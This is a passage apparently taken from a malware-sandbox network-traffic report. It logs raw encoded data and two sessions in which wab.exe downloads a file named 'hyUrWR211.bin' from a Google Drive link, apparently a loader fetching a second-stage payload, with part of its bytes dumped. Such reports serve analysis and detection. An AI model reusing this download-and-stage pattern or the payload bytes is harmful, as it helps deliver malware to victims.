close
2024-07-03 06:54:43 UTC	4818	IN	Data Raw: 63 51 47 62 36 77 4c 49 69 62 74 6a 2f 42 73 41 63 51 47 62 63 51 47 62 41 31 77 6b 42 4f 73 43 50 43 2f 72 41 6f 41 6a 75 5a 44 2f 32 30 52 78 41 5a 74 78 41 5a 75 42 77 65 71 73 34 36 72 72 41 76 4a 78 63 51 47 62 67 63 47 47 55 30 41 51 36 77 4c 6f 42 65 73 43 79 64 31 78 41 5a 76 72 41 68 38 54 75 68 78 75 45 66 6c 78 41 5a 76 72 41 6f 58 48 36 77 4c 47 53 4f 73 43 45 48 55 78 79 6e 45 42 6d 2b 73 43 4d 7a 69 4a 46 41 74 78 41 5a 76 72 41 71 33 63 30 65 4a 78 41 5a 74 78 41 5a 75 44 77 51 52 78 41 5a 76 72 41 75 65 4c 67 66 6c 64 78 70 77 41 66 4d 74 78 41 5a 76 72 41 67 77 2f 69 30 51 6b 42 48 45 42 6d 2b 73 43 77 71 32 4a 77 33 45 42 6d 2b 73 43 2b 2f 43 42 77 7a 34 6a 63 51 44 72 41 75 42 59 36 77 4c 74 4b 72 71 77 68 56 51 43 63 51 47 62 63 51 47 Data Ascii: cQGb6wLIibtj/BsAcQGbcQGbA1wkBOsCPC/rAoAjuZD/20RxAZtxAZuBweqs46rrAvJxcQGbgcGGU0AQ6wLoBesCyd1xAZvrAh8TuhxuEflxAZvrAoXH6wLGSOsCEHUxynEBm+sCMziJFAtxAZvrAq3c0eJxAZtxAZuDwQRxAZvrAueLgfldxpwAfMtxAZvrAgw/i0QkBHEBm+sCwq2Jw3EBm+sC+/CBwz4jcQDrAuBY6wLtKrqwhVQCcQGbcQG
2024-07-03 06:54:43 UTC	4818	IN	Data Raw: 64 34 32 34 50 6d 74 44 36 35 72 63 4a 78 47 7a 4b 33 46 68 45 38 70 65 7a 78 58 67 64 43 48 54 4b 66 33 79 33 75 6f 7a 2b 65 4f 72 35 73 47 43 37 5a 72 33 47 36 38 61 57 79 4c 62 53 78 4c 54 4c 5a 50 47 4a 6f 75 6d 65 32 33 2b 79 53 4f 2f 41 51 56 64 50 70 33 5a 54 57 66 4b 77 55 57 54 4a 6f 53 64 66 74 48 61 4a 56 44 4c 58 33 69 31 50 64 67 6a 70 2b 56 6b 43 44 52 42 39 4a 47 6e 66 64 67 6a 32 48 4f 68 71 4c 6a 42 74 36 4f 4e 75 47 73 72 31 36 57 57 50 74 36 38 64 54 67 39 35 68 6c 49 4d 38 75 55 78 4c 4a 68 38 73 63 7a 67 43 6f 74 6b 79 35 7a 4b 44 6e 33 6a 70 65 45 4c 7a 50 72 6e 33 53 52 31 6d 4d 71 38 68 47 45 6f 62 37 50 47 42 69 6a 48 6e 4d 71 39 37 5a 61 42 49 37 4d 46 6e 48 6c 51 76 35 4d 44 6b 35 62 70 44 38 47 53 4b 72 52 51 71 41 73 69 6b 34 Data Ascii: d424PmtD65rcJxGzK3FhE8pezxXgdCHTKf3y3uoz+eOr5sGC7Zr3G68aWyLbSxLTLZPGJoume23+ySO/AQVdPp3ZTWfKwUWTJoSdftHaJVDLX3i1Pdgjp+VkCDRB9JGnfdgj2HOhqLjBt6ONuGsr16WWPt68dTg95hlIM8uUxLJh8sczgCotky5zKDn3jpeELzPrn3SR1mMq8hGEob7PGBijHnMq97ZaBI7MFnHlQv5MDk5bpD8GSKrRQqAsik4
2024-07-03 06:54:43 UTC	243	IN	Data Raw: 4e 38 35 72 47 4f 79 77 64 35 49 62 7a 4f 4d 73 6c 51 65 43 55 57 6c 32 74 7a 54 79 69 61 6c 61 77 6b 6b 34 47 32 47 4c 4e 69 78 73 41 72 4f 51 78 6b 76 50 75 30 78 7a 32 68 6e 76 71 6b 53 66 35 74 79 2b 44 39 5a 6f 76 59 5a 50 67 30 44 62 35 54 58 36 33 5a 37 76 4e 4c 45 47 55 79 2f 56 6a 41 4f 71 77 56 58 62 78 48 39 58 72 4f 66 31 6b 42 74 44 64 76 6a 39 48 2b 48 6e 4e 6b 30 77 5a 51 62 70 46 66 52 68 69 6f 70 6d 46 4a 51 63 6c 39 6b 56 77 65 55 35 34 36 61 38 51 48 67 36 56 4d 44 71 5a 4b 78 5a 51 46 4f 71 4e 4c 4e 63 62 51 4b 7a 58 47 30 43 73 31 78 74 4d 51 58 65 47 53 6d 69 51 4e 42 72 57 5a 70 57 4d 2b 49 4e 71 30 4c 74 67 6a 4d 48 39 4d 6a 75 74 78 77 71 6f 35 65 62 37 75 5a 48 39 35 41 37 6f 6d 78 61 49 7a 4f Data Ascii: N85rGOywd5IbzOMslQeCUWl2tzTyialawkk4G2GLNixsArOQxkvPu0xz2hnvqkSf5ty+D9ZovYZPg0Db5TX63Z7vNLEGUy/VjAOqwVXbxH9XrOf1kBtDdvj9H+HnNk0wZQbpFfRhiopmFJQcl9kVweU546a8QHg6VMDqZKxZQFOqNLNcbQKzXG0Cs1xtMQXeGSmiQNBrWZpWM+INq0LtgjMH9Mjutxwqo5eb7uZH95A7omxaIzO
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 47 4d 67 44 68 53 6e 51 79 69 59 4f 4a 5a 55 5a 69 50 58 35 6f 52 5a 79 7a 4c 4a 7a 33 37 67 56 4b 62 4a 4c 46 49 76 61 77 63 54 37 58 77 6c 4c 64 48 79 30 4e 73 71 35 43 41 72 4e 63 62 51 4b 7a 58 47 30 43 73 31 78 57 53 38 64 69 6d 48 32 57 79 58 31 59 33 38 75 31 2f 71 76 76 65 73 45 74 6b 6e 44 38 70 64 31 56 48 74 34 44 46 58 64 69 33 42 55 47 43 79 6d 6d 44 62 57 4b 79 51 4b 7a 58 47 30 43 73 31 78 74 41 72 4e 63 58 4e 4d 6d 58 62 73 56 69 30 6c 63 65 6b 5a 6b 47 2f 43 37 45 4e 53 36 78 6e 72 45 58 7a 74 79 4f 49 61 30 33 75 54 78 76 4a 74 62 41 72 4e 63 62 51 4b 7a 58 47 30 43 73 31 78 46 42 31 54 64 48 66 58 41 6b 6b 36 48 35 6c 70 36 44 79 4c 47 6e 4f 6e 76 49 6c 41 6c 55 46 41 7a 64 68 77 2f 62 70 6d 2b 2b 79 50 54 54 43 72 46 38 54 4d 6b 5a 4d Data Ascii: GMgDhSnQyiYOJZUZiPX5oRZyzLJz37gVKbJLFIvawcT7XwlLdHy0Nsq5CArNcbQKzXG0Cs1xWS8dimH2WyX1Y38u1/qvvesEtknD8pd1VHt4DFXdi3BUGCymmDbWKyQKzXG0Cs1xtArNcXNMmXbsVi0lcekZkG/C7ENS6xnrEXztyOIa03uTxvJtbArNcbQKzXG0Cs1xFB1TdHfXAkk6H5lp6DyLGnOnvIlAlUFAzdhw/bpm++yPTTCrF8TMkZM
2024-07-03 06:54:43 UTC	69	IN	Data Raw: 47 4b 37 52 6b 45 35 45 65 58 43 74 4f 77 70 47 2b 71 67 31 33 38 4d 4c 69 77 33 5a 73 4a 70 79 45 75 67 30 57 75 32 51 63 7a 31 58 76 34 34 4d 79 6d 5a 77 37 53 49 74 49 6e 41 66 63 50 75 62 49 6a 68 46 50 Data Ascii: GK7RkE5EeXCtOwpG+qg138MLiw3ZsJpyEug0Wu2Qcz1Xv44MymZw7SItInAfcPubIjhFP
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 62 69 30 44 74 31 64 68 67 73 56 78 74 76 49 75 32 39 4b 34 79 71 6b 6e 71 53 5a 63 39 75 70 69 72 6f 2b 4f 47 4d 43 4b 6f 72 46 6e 45 69 79 68 64 35 44 4b 64 52 68 76 57 6e 2b 78 6e 79 48 64 69 39 43 6a 4d 59 4c 76 57 78 67 6e 42 48 61 64 71 54 33 75 33 51 34 69 53 4f 34 52 58 57 6a 4b 61 46 69 2b 73 73 7a 79 37 69 77 6b 61 58 54 4b 74 31 73 62 4d 6b 2b 7a 44 57 57 65 56 62 54 70 4e 49 41 2b 4d 33 43 53 47 77 30 53 52 36 76 41 37 77 41 61 30 55 57 70 67 57 61 6d 4c 49 62 41 46 37 4f 77 6b 63 2b 39 55 76 46 31 32 33 72 4e 63 62 51 4b 7a 58 47 30 43 73 31 78 74 43 6d 59 31 69 6d 52 39 43 75 61 33 30 56 35 74 41 75 48 6d 78 50 43 55 38 75 7a 6f 72 71 6b 50 78 54 4b 75 38 68 75 44 32 65 7a 77 6f 4c 6d 5a 59 65 44 41 35 4f 47 79 54 2f 42 6b 69 70 30 62 44 36 Data Ascii: bi0Dt1dhgsVxtvIu29K4yqknqSZc9upiro+OGMCKorFnEiyhd5DKdRhvWn+xnyHdi9CjMYLvWxgnBHadqT3u3Q4iSO4RXWjKaFi+sszy7iwkaXTKt1sbMk+zDWWeVbTpNIA+M3CSGw0SR6vA7wAa0UWpgWamLIbAF7Owkc+9UvF123rNcbQKzXG0Cs1xtCmY1imR9Cua30V5tAuHmxPCU8uzorqkPxTKu8huD2ezwoLmZYeDA5OGyT/Bkip0bD6
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 75 50 4a 78 6b 7a 76 47 61 47 51 43 79 6c 59 49 52 65 68 2f 65 75 56 50 78 67 36 55 31 34 71 66 71 39 73 76 53 61 5a 76 4a 2b 74 6d 4d 2f 76 47 6f 34 75 73 76 6d 76 34 52 65 62 51 4c 6c 34 68 44 6b 69 2b 6a 73 37 4d 58 34 69 75 51 79 71 6d 76 43 41 6a 37 73 78 41 73 6f 54 56 49 36 55 75 6a 4c 30 4b 75 52 4c 76 53 64 6b 66 32 56 67 46 59 48 73 63 68 45 34 74 53 53 4d 4d 33 74 31 66 42 51 73 56 78 74 44 62 4e 4f 6d 77 4b 7a 58 47 30 43 73 31 78 74 41 72 4e 63 61 42 45 2f 51 42 6a 75 39 54 38 49 75 64 74 45 62 41 41 79 72 77 62 4f 6a 41 66 73 36 62 43 53 2f 77 72 6c 34 6d 34 50 32 50 54 73 39 48 5a 47 58 7a 55 79 73 71 61 38 45 4b 72 73 39 4b 38 4b 4d 44 6b 79 6d 6e 54 77 70 44 41 39 6e 6a 71 38 62 44 49 75 32 4c 31 38 75 37 77 43 65 5a 44 5a 58 52 4d 50 74 Data Ascii: uPJxkzvGaGQCylYIReh/euVPxg6U14qfq9svSaZvJ+tmM/vGo4usvmv4RebQLl4hDki+js7MX4iuQyqmvCAj7sxAsoTVI6UujL0KuRLvSdkf2VgFYHschE4tSSMM3t1fBQsVxtDbNOmwKzXG0Cs1xtArNcaBE/QBju9T8IudtEbAAyrwbOjAfs6bCS/wrl4m4P2PTs9HZGXzUysqa8EKrs9K8KMDkymnTwpDA9njq8bDIu2L18u7wCeZDZXRMPt
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 4b 64 55 77 37 43 43 71 6b 73 59 52 48 2f 44 42 34 75 37 4e 34 50 4f 46 4d 4a 42 73 31 78 69 68 75 72 6f 62 41 4c 71 6d 2b 67 7a 73 56 78 74 56 2b 6f 35 6e 6c 55 4d 78 45 61 49 63 74 32 61 71 4b 2b 58 4a 6f 4e 30 4b 46 48 2b 31 39 32 71 44 54 65 6a 6c 6f 4e 30 46 32 54 42 70 77 33 78 69 31 4a 56 56 4a 2b 4b 68 42 67 45 31 61 4f 68 4e 56 33 64 34 62 4c 43 4b 51 49 45 59 47 2f 66 50 75 4f 53 41 33 78 6e 6b 30 61 33 4a 73 72 41 44 46 44 50 35 74 35 4b 59 37 37 4c 70 41 45 47 4a 52 31 59 54 7a 74 45 6d 78 53 4f 6c 51 34 30 68 6b 77 44 37 4c 65 43 58 6d 30 43 4a 32 39 45 6c 65 44 6e 53 35 75 46 57 65 7a 78 4c 6a 77 4b 58 7a 4b 66 56 78 55 64 2b 2b 51 4a 54 7a 71 6f 46 44 38 44 64 35 68 31 4c 31 55 49 50 57 65 39 35 79 58 58 58 65 4e 50 70 72 62 42 33 59 53 49 Data Ascii: KdUw7CCqksYRH/DB4u7N4POFMJBs1xihurobALqm+gzsVxtV+o5nlUMxEaIct2aqK+XJoN0KFH+192qDTejloN0F2TBpw3xi1JVVJ+KhBgE1aOhNV3d4bLCKQIEYG/fPuOSA3xnk0a3JsrADFDP5t5KY77LpAEGJR1YTztEmxSOlQ40hkwD7LeCXm0CJ29EleDnS5uFWezxLjwKXzKfVxUd++QJTzqoFD8Dd5h1L1UIPWe95yXXXeNPprbB3YSI
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 44 75 61 58 59 31 31 74 41 75 4c 6c 67 73 31 34 48 4f 7a 72 4b 32 41 67 4c 44 4b 74 7a 4a 58 63 73 65 7a 7a 74 37 78 38 2f 54 70 46 54 6b 48 66 6e 56 66 68 48 43 6e 59 37 4b 39 2b 69 41 79 73 4d 6e 31 62 34 4f 65 72 6d 50 69 4b 37 50 48 74 39 45 59 70 4d 71 2b 41 31 70 6f 2f 37 4d 47 4f 43 64 74 6a 4f 6b 2f 36 77 36 48 73 69 6f 76 2b 4e 61 5a 68 6b 58 44 69 4e 35 47 47 4e 68 49 43 67 75 66 52 42 4a 55 6f 69 4e 33 79 66 74 6d 42 6a 4f 7a 78 78 63 77 64 4c 65 69 6a 2b 4a 71 7a 58 47 33 4f 49 61 65 32 36 4f 41 61 47 76 49 2f 44 49 32 56 51 57 6c 54 6d 79 73 41 74 49 78 58 67 45 6c 4e 44 4a 71 70 32 6c 31 44 56 57 35 47 71 6a 2b 34 62 65 76 6a 62 6a 4b 75 76 6e 71 74 6a 4f 7a 77 6b 32 65 69 50 7a 4b 75 51 50 66 73 33 54 32 65 4f 72 78 6b 45 69 37 59 72 48 75 Data Ascii: DuaXY11tAuLlgs14HOzrK2AgLDKtzJXcsezzt7x8/TpFTkHfnVfhHCnY7K9+iAysMn1b4OermPiK7PHt9EYpMq+A1po/7MGOCdtjOk/6w6Hsiov+NaZhkXDiN5GGNhICgufRBJUoiN3yftmBjOzxxcwdLeij+JqzXG3OIae26OAaGvI/DI2VQWlTmysAtIxXgElNDJqp2l1DVW5Gqj+4bevjbjKuvnqtjOzwk2eiPzKuQPfs3T2eOrxkEi7YrHu
2024-07-03 06:54:43 UTC	1255	IN	Data Raw: 47 38 71 48 79 41 47 77 44 32 66 73 64 63 41 73 47 4c 44 4a 57 6c 59 75 4f 47 4b 50 45 35 65 4b 30 79 59 31 57 37 50 53 2f 42 55 71 71 4d 70 6f 70 47 65 55 46 37 4d 52 32 51 66 77 47 4f 6b 71 71 50 48 64 5a 43 67 4e 4e 76 2b 55 79 32 71 2f 70 41 32 52 48 77 51 45 4b 6a 43 5a 42 46 52 75 64 64 4f 30 4e 31 44 50 79 71 6e 36 44 51 6c 55 53 70 4e 50 64 6e 4b 74 53 44 42 36 4c 67 6b 7a 74 72 79 4a 45 57 6c 58 48 37 71 59 52 6d 33 35 52 67 30 6c 6c 66 50 75 31 71 70 46 33 55 6d 56 73 30 59 57 4c 39 6b 66 71 4e 43 49 38 50 32 64 69 41 36 6f 75 62 51 4b 7a 58 47 30 43 73 31 78 74 41 72 4e 6e 50 4c 73 2b 36 52 7a 64 54 50 6e 79 4a 6a 76 41 69 6a 64 33 32 61 6a 6b 34 54 44 70 66 44 4a 77 53 64 62 59 34 57 47 44 74 33 68 34 45 70 62 74 4f 37 77 61 67 41 56 4b 4d 71 Data Ascii: G8qHyAGwD2fsdcAsGLDJWlYuOGKPE5eK0yY1W7PS/BUqqMpopGeUF7MR2QfwGOkqqPHdZCgNNv+Uy2q/pA2RHwQEKjCZBFRuddO0N1DPyqn6DQlUSpNPdnKtSDB6LgkztryJEWlXH7qYRm35Rg0llfPu1qpF3UmVs0YWL9kfqNCI8P2diA6oubQKzXG0Cs1xtArNnPLs+6RzdTPnyJjvAijd32ajk4TDpfDJwSdbY4WGDt3h4EpbtO7wagAVKMq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.30	49951	142.250.191.110	443	9032	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:55:05 UTC	216	OUT	GET /uc?export=download&id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-07-03 06:55:06 UTC	1598	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 03 Jul 2024 06:55:06 GMT Location: https://drive.usercontent.google.com/download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-P47C3iUoZ0_pOyknuPwcOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.30	49952	172.217.2.33	443	9032	C:\Program Files (x86)\Windows Mail\wab.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 06:55:06 UTC	258	OUT	GET /download?id=1kTBjYXwSaLf73tP79eJTEXDnkCOgv_e4&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-07-03 06:55:07 UTC	4825	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="hyUrWR211.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 460864 Last-Modified: Wed, 03 Jul 2024 00:01:36 GMT X-GUploader-UploadID: ACJd0NoAP9NuOydWc_I6yRUlb6Q7bs09O-TGGvBGOEk1NkQC4e3UdyKxvlw-QE5IAp2JsVBzOO_RbOxmTg Date: Wed, 03 Jul 2024 06:55:07 GMT Expires: Wed, 03 Jul 2024 06:55:07 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=ti1eBg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-03 06:55:07 UTC	4825	IN	Data Raw: 8a 19 b8 61 6a ff 48 a4 1c 9c 79 44 a5 0c ff 6d ee d4 b0 08 99 80 e7 3c eb 61 e3 bf 64 fe df 21 b1 98 db 3f f2 2f 10 b0 38 fe 08 50 87 b2 28 67 f0 68 3f da ea d1 c4 20 29 91 3e 6f 9c 5d 60 fe ed 71 2c 3e 71 f4 70 4c 99 49 fb f4 ef 80 12 f3 da 71 69 cc ff 8f 70 de e7 22 0a f3 5e b8 35 0d 79 e9 ac 3c 6c 0e 7a fd aa b3 2b ad 8b 5f 95 f0 41 72 39 24 ff 4d c3 c2 90 dc d8 e7 4c d1 2f 52 6d 6a 23 38 e0 c0 56 9e 3a d2 2a 9f bd 5e 5b 38 31 7b 3e ad 06 7b ed 5e 4e 8c 59 4c 9a 67 ae 46 6d ed e3 51 a4 93 68 f3 5f 08 12 34 cd 9c bc ab 8d bc f8 e8 bd 0f e2 54 41 17 a8 a1 4f 8f 72 03 f2 e1 df 85 fb f4 88 5d 79 9c 74 56 29 22 f9 ed f0 4e 7b 91 b1 8b 04 8a 64 16 49 71 7a ca 15 b9 bb c1 76 e3 2c 17 72 cc 6f 2b 69 56 45 34 c1 03 50 f8 20 5c e5 0c 0c 8c 82 c2 17 f2 ea b5 09 Data Ascii: ajHyDm<ad!?/8P(gh? )>o]`q,>qpLIqip"^5y<lz+_Ar9$ML/Rmj#8V:*^[81{>{^NYLgFmQh_4TAOr]ytV)"N{dIqzv,ro+iVE4P \
2024-07-03 06:55:07 UTC	4825	IN	Data Raw: ab 24 35 7e 9d 88 bc 37 c2 3d cb e2 6a 06 05 cb da 95 01 3b ea 14 ac e9 b9 6e 8a b2 21 96 03 9e b0 ae 33 70 2f 39 e7 c6 a8 4a 4c 46 c9 23 2c b2 82 57 74 e0 c6 d1 42 c4 3b bd 98 33 89 36 04 a7 53 90 02 e0 4f 15 07 ff c8 71 73 6b 08 08 2c ec 81 ab 98 fe ee 0d 1c 3f df 74 af 9a 81 69 5c 28 64 66 96 27 24 9e 8f c7 0e 39 1a 3a c1 e3 72 ac c8 e0 f7 e0 6c 39 ec 96 7f 2a d9 f6 e2 72 b3 97 e4 dd 23 80 df 31 e0 bd 48 4c af 6d 6d 6b b6 7b f8 39 2c d2 fe 34 c7 16 f7 46 cd 65 c9 ac b3 4f 06 ca b6 db bd d6 74 ed a3 c7 aa 77 87 6a 46 32 8a b5 24 44 17 64 b5 0c 6a a3 33 e4 f8 e4 5f c2 8c 03 19 f9 a1 b3 45 aa ed 11 2b ec bc e9 86 5f 87 dd 72 f0 f2 03 cd bd c9 5d 9c b8 f9 12 5e 7c 72 2a 51 49 fe 71 d0 7b 58 99 e1 9d 2e 54 b4 c3 01 ec 53 dc 63 78 d2 3e 16 f0 4c 02 0a f1 2c Data Ascii: $5~7=j;n!3p/9JLF#,WtB;36SOqsk,?ti\(df'$9:rl9r#1HLmmk{9,4FeOtwjF2$Ddj3_E+_r]^\|rQIq{X.TScx>L,
2024-07-03 06:55:07 UTC	224	IN	Data Raw: 0a a0 8b 88 95 a9 40 ef be a1 93 92 a1 42 a7 6c 81 1d 20 11 f1 c0 53 f2 10 86 80 e4 b4 6e 41 31 38 f4 b9 7f f0 64 56 50 e8 63 41 e5 7e 36 4e cb f4 93 b8 a9 65 0c 8d 67 f5 1a dc 0a 5c e1 51 8f c0 47 9d e6 20 9c 6c 71 43 01 5f 39 63 1b 88 e9 e8 8c 43 8b 75 56 db 04 0a ab 1a da 7d 5e 8a 37 13 20 0e 0f 75 61 e1 38 db a3 80 a7 1b 09 0c a0 5c e1 22 68 0b 45 60 c9 ff 1f e4 21 eb b6 2b bc 3e 8c f8 74 4c b5 76 fb f4 1a 81 1c f6 62 51 60 cc ff 8f 8e d0 ab 22 0a 0d 52 b4 35 2d 7a e9 ac 3c 92 0f 43 e7 aa b3 2b 53 87 5d 95 0e 4d 73 39 4b bf 4d c3 c8 6e d2 db e7 ec d5 2f 52 63 8b 97 3a e0 74 a1 5f 17 6a 0b c3 70 7f 0f ae 59 31 05 dd 74 14 74 20 2b e1 51 6e fb 09 ca a5 5e cd 81 Data Ascii: @Bl SnA18dVPcA~6Neg\QG lqC_9cCuV}^7 ua8\"hE`!+>tLvbQ`"R5-z<C+S]Ms9KMn/Rc:t_jpY1tt +Qn^
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: 35 7a ef 1d 9d 5f 70 7c 14 89 2d e1 87 e0 d3 62 81 9f 02 cf 42 65 17 a8 5f 4e b6 5b 03 a2 a4 21 88 b1 f5 f0 18 47 7a 90 cd 25 25 f9 cd f0 4e 7b 91 af 86 00 8b 14 53 42 71 7e 56 54 b9 bb 99 55 fe 2c 17 72 32 ff f5 6a 56 bb 18 cd 03 70 16 23 5c e5 f2 4d b5 99 e2 17 f2 14 bb 0d 0e 73 4e 44 1a c8 47 13 2b d3 1e 40 9e 2f a5 30 86 fd bd a1 19 d1 d1 80 9a 16 7f 20 9c 60 6a 9b f5 61 e4 2d a1 c8 45 a1 4f 04 cf 84 7c a6 69 10 48 41 9b 1e ad b3 5f 5a 19 44 40 84 b2 5c a9 ee 04 2a bd d1 fe 0d b8 51 1e 13 d0 1e 29 46 cd 55 e0 25 00 d1 8f e7 21 b2 67 ed 51 fe b9 5d 0e 72 d1 cd 0e 92 cb 8a 58 cd 42 63 66 6b 46 28 d8 70 62 4d fa 8c 13 f5 bb cb 45 1c 72 c4 33 de 28 38 75 5b 48 c8 1a 36 a0 de a6 f4 cb e0 2f 8b 1f df a5 30 5c 59 d3 45 0d c6 5f 0a d3 b3 62 b3 e0 ff fd d4 7e Data Ascii: 5z_p\|-bBe_N[!Gz%%N{SBq~VTU,r2jVp#\MsNDG+@/0 `ja-EO\|iHA_ZD@\*Q)FU%!gQ]rXBcfkF(pbMEr3(8u[H6/0\YE_b~
2024-07-03 06:55:07 UTC	67	IN	Data Raw: b7 97 94 4f 98 93 53 ea b9 59 26 91 df c1 04 ab b9 86 54 cd 1c 5e 66 6b 42 fe 89 49 74 47 04 82 ed f9 97 9a 6d 23 78 3a 37 26 26 10 75 7b 68 c8 e4 38 59 d0 92 b9 cb 1e 23 79 13 f9 86 ce 50 5e 2d de ca Data Ascii: OSY&T^fkBItGm#x:7&&u{h8Y#yP^-
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: c6 5e 0a 2d ab 9d bd 8f ad dd f0 74 07 e3 05 36 2c 1f 1f 76 7e db fc 71 0e 51 21 a5 13 19 1c 9f e2 2e e2 3a aa 2d 3d 6a 4b 98 69 ae 55 a4 a6 c3 d8 81 9d 86 ae 00 73 c0 75 f1 c0 c8 41 d7 bd 2f 32 6f 11 c3 6a 5e 70 a4 3b 86 76 85 7e 3d c8 f9 44 42 5c 91 16 29 d3 2f 90 5e c6 d2 d4 f4 4c 1d 4a 94 50 9a bf c0 b0 9c b7 ca 81 bd ff 9e 37 c2 c7 ed ff 6a 06 f1 fe cf 95 21 31 94 36 ac 17 bc 7f 86 b2 21 9c a0 9a b0 ae 37 39 a6 39 e7 c0 88 3f 4a 46 c9 d9 5c 90 82 57 8e cc c7 d1 62 c7 13 eb 98 cd 82 71 36 a7 53 94 13 e1 4f 15 01 b8 a6 8e 8c 90 08 0e 2c ec 81 7d c1 fe ee 07 9c 10 df 74 8b e8 d9 69 5c dc 40 77 c1 27 24 94 87 cc 0c 39 1c 7a eb b9 72 ac 3c 33 f1 e0 6c c7 c6 4b 7f 0a db f6 9c 29 4d 96 d7 a1 23 84 df 69 cc bc 48 4a 8f 01 31 6b b6 8f 08 37 2f d2 fe 34 c4 16 Data Ascii: ^-t6,v~qQ!.:-=jKiUsuA/2oj^p;v~=DB\)/^LJP7j!16!799?JF\Wbq6SO,}ti\@w'$9zr<3lK)M#iHJ1k7/4
2024-07-03 06:55:07 UTC	1255	IN	Data Raw: 8e 72 95 11 1e 2c ec 81 75 96 fe ee 0d 1c 3d df 74 af 99 81 69 5c 28 6b 5d 98 27 da 92 a5 ce 2c 39 1c 1a c3 1d 73 95 3c ee f7 e0 6c e7 e1 96 7f 0a 25 f8 e0 72 4d 68 d1 d1 23 a0 dd 19 ec bd b6 4b b6 6b 6d 6b b6 bd f3 39 2c d2 38 9f 38 e9 28 6e ae 65 c9 58 dd 12 0c ca bc 25 b0 f6 75 c5 91 c7 54 7f a1 94 4a cc 86 4b 2a 65 19 b9 bb 0c 94 a2 2c 1f f4 e4 5f 04 87 02 19 24 99 a7 bb 55 ec 37 2a ff a6 ef 87 1c 86 dd 72 f2 95 03 fd 15 c9 53 9d b8 07 1d 41 4c 48 15 c9 49 fe 71 25 77 5c 88 e1 9e 2e 54 b4 c3 0e d7 42 e4 e2 78 2c 32 17 0e be 0e 0a d1 0d 53 9f 51 10 dc fe d1 ae 14 46 1d b6 54 b7 c3 aa 8c d9 2e 09 11 d5 27 59 16 7e b9 dd e4 64 5d 15 7c 76 78 50 62 3e 04 13 cb b7 d7 e6 d2 89 4b 21 de 13 5b 2c ae 2f 3b 64 83 3e e8 55 f8 19 5f df 65 9a 1a a3 3e c3 5d 3e 43 Data Ascii: 